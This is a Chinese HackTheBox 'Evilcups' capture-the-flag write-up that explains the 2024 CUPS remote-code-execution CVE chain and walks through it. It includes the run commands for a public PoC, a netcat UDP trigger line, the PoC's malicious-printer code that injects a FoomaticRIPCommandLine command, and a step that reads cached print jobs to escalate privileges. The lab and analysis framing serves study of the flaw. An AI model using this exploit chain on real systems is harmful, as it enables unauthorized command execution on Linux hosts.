Linux 打印服务RCE漏洞:HackTheBox 【Evilcups】 复现
靶场概述:
2024 年 9 月 26 日,一位名为 Simone Margaritelli 的研究人员发布了有关 CUPS 漏洞的研究。其中包括四个 CVE:
- CVE-2024-47176 - 通常侦听所有 UDP 631 接口的服务,允许远程将打印机添加到机器。此漏洞允许任何能够访问此机器的攻击者触发“获取打印机属性”互联网打印协议 (IPP) 请求【Get-Printer-Attributes】,该请求将发送到攻击者控制的 URL。
- CVE-2024-47076 -
libcupsfilters
负责处理从请求返回的 IPP 属性。这些属性未经清理就被写入临时的 Postscript 打印机描述 (PPD) 文件,从而允许写入恶意属性。 - CVE-2024-47175 -
libppd
负责读取临时 PPD 文件并将其转换为系统上的打印机对象。它在读取时也不会进行清理,从而允许注入攻击者控制的数据。 - CVE-2024-47177 - 此漏洞
cups-filters
允许使用打印过滤器加载打印机foomatic-rip
,该过滤器是一种通用转换器,用于将 PostScript 或 PDF 数据转换为打印机可以理解的格式。它长期以来一直存在命令注入问题,并且仅限于手动安装/配置。
整个漏洞的利用中攻击者可以通过模拟IPP协议伪装成虚假的打印机,并在其附上恶意的打印机属性,通过构造特殊请求(CVE-2024-47176)触发客户端获取打印机属性,由于关键位置没有被过滤(CVE-2024-47076,CVE-2024-47175)从而导致在获取时被植入恶意指令,最后通过打印请求触发恶意指令(CVE-2024-47177)回弹shell可获取打印机的用户权限执行任意指令,从而完成了整个攻击链路。因为CUPS集成在了很多Linux 发行版中,因此漏洞的影响很大。
靶场复现
端口扫描
nmap -p- <ip> -sS -sV -sC --stats-every 1s -T4
漏洞利用
git clone https://github.com/IppSec/evil-cups.git
cd ./evil-cups
python./evil-cups.py <LOCAL_HOST> <TARGET_HOST> <COMMAND>
运行后在web页面执行打印测试页操作触发命令执行
提权
cat /var/spool/cups/d00001-001
或者下载下来使用pdf工具查看这个文件,登录root账户
漏洞分析
首先是 CVE-2024-47176 这是整个漏洞链的首要条件,通过阅读原文我们可以了解到 通过构造格式为:0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever
的udp请求 发送到631端口触发。这里我首先使用 netcat
模拟。
echo -n "0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever" | nc -u <ATTACKER-IP> 631
根据回显的效果我们可以看出来,我们成功触发了打印机服务并让他主动扫描我们的机器,而接下来我们需要模拟打印机,返回一个含有恶意指令的打印机属性,这里我们可以使用靶机作者提供的poc: https://github.com/IppSec/evil-cups.git ,我们来认真分析这个poc。
主函数
查看这个脚本的main函数处,我们可以很清晰的看出来这个程序执行的逻辑:
- 初始化参数:本地IP,目标IP,命令,端口
- 以多线程的方式运行打印服务
- 向对方631端口发送UDP数据包,让目标主动扫描本机的打印服务
- 计数器每隔1s打印一次运行时间,一方面明确等待时间,一方面阻塞程序防止关闭
if __name__ == "__main__":
#初始化参数
if len(sys.argv) != 4:
print("%s <LOCAL_HOST> <TARGET_HOST> <COMMAND>" % sys.argv[0])
quit()
SERVER_HOST = sys.argv[1]
SERVER_PORT = 12345
command = sys.argv[3]
#以多线程的方式运行打印服务
server = IPPServer((SERVER_HOST, SERVER_PORT),
IPPRequestHandler, MaliciousPrinter(command))
threading.Thread(target=run_server,args=(server, )).start()
#发送udp数据包
TARGET_HOST = sys.argv[2]
TARGET_PORT = 631
send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)
#计数器每隔1s打印一次运行时间
print("Please wait this normally takes 30 seconds...")
seconds = 0
while True:
print(f"\r{seconds} elapsed", end="", flush=True)
time.sleep(1)
seconds += 1
IPP打印服务实现
- 脚本引用了第三方库 ippserver
- 查看第三方库源码可以发现IPPServer需要3个参数:服务器信息、请求处理器、服务器行为
- 通过MaliciousPrinter(command)复写服务器响应的行为来伪造打印机
- operation_printer_list_response 响应请求
- printer_list_attributes 伪造的打印机属性
- 打印机的属性定义是基于rfc2911
- 通过MaliciousPrinter(command)复写服务器响应的行为来伪造打印机
- 运行run_server函数
- 初始化示例化ServerContext,定义服务器的启动和关闭 -
- 每0.5秒监听键盘退出,关闭打印服务
主函数
server = IPPServer(
(SERVER_HOST, SERVER_PORT),
IPPRequestHandler,
MaliciousPrinter(command)
)
threading.Thread(target=run_server,args=(server, )).start()
启动服务器函数
def run_server(server):
with ServerContext(server):
try:
while True:
time.sleep(.5)
except KeyboardInterrupt:
pass
server.shutdown()
服务器类
from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest
class ServerContext:
def __init__(self, server):
self.server = server
self.server_thread = None
def __enter__(self):
print(f'IPP Server Listening on {server.server_address}')
self.server_thread = threading.Thread(target=self.server.serve_forever)
self.server_thread.daemon = True
self.server_thread.start()
def __exit__(self, exc_type, exc_value, traceback):
print('Shutting down the server...')
self.server.shutdown()
self.server_thread.join()
其他类
class MaliciousPrinter(behaviour.StatelessPrinter):
def __init__(self, command):
self.command = command
super(MaliciousPrinter, self).__init__()
def printer_list_attributes(self):
attr = {
# rfc2911 section 4.4
(
SectionEnum.printer,
b'printer-uri-supported',
TagEnum.uri
): [self.printer_uri],
(
SectionEnum.printer,
b'uri-authentication-supported',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'printer-more-info',
TagEnum.uri
): [f'"\n*FoomaticRIPCommandLine: "{self.command}"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'.encode()],
}
attr.update(super().minimal_attributes())
return attr
def operation_printer_list_response(self, req, _psfile):
print("\ntarget connected, sending payload ...")
attributes = self.printer_list_attributes()
return IppRequest(self.version,StatusCodeEnum.ok,req.request_id,attributes)
这个脚本开发主要有以下几个技术点:
- python开发基础
- 阅读第三方库源码,代码的阅读能力
- rfc协议文档的阅读与理解
- socket协议 发送udp请求
提权
此机器提权需要知道的几个前提信息点:
CUPS 的配置文件(通常位于
/etc/cups/cupsd.conf
中)可能被设置为保留已完成的作业。CUPS 通过PreserveJobFiles
和PresveerJobHistory
选项来决定是否保留作业及其历史记录。
PreserveJobFiles
控制已完成的打印作业文件是否被保留。PreserveJobHistory
控制已完成作业的历史记录是否被保留。
缓存作业的默认位置是在
/var/spool/cups/
目录中,然而,lp
用户对该目录仅有执行权限,这意味着他们无法列出目录的内容。不过,如果文件名已知且文件可读,他们可以读取该目录中的文件。
已完成作业的默认格式为
d<打印作业>-<页码>
,其中打印作业需要是 5 位数字,页码是 3 位数字。对于作业 1,第 1 页,文件名会是d00001-001
。
原文地址:https://blog.csdn.net/HackYourself/article/details/145207571
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!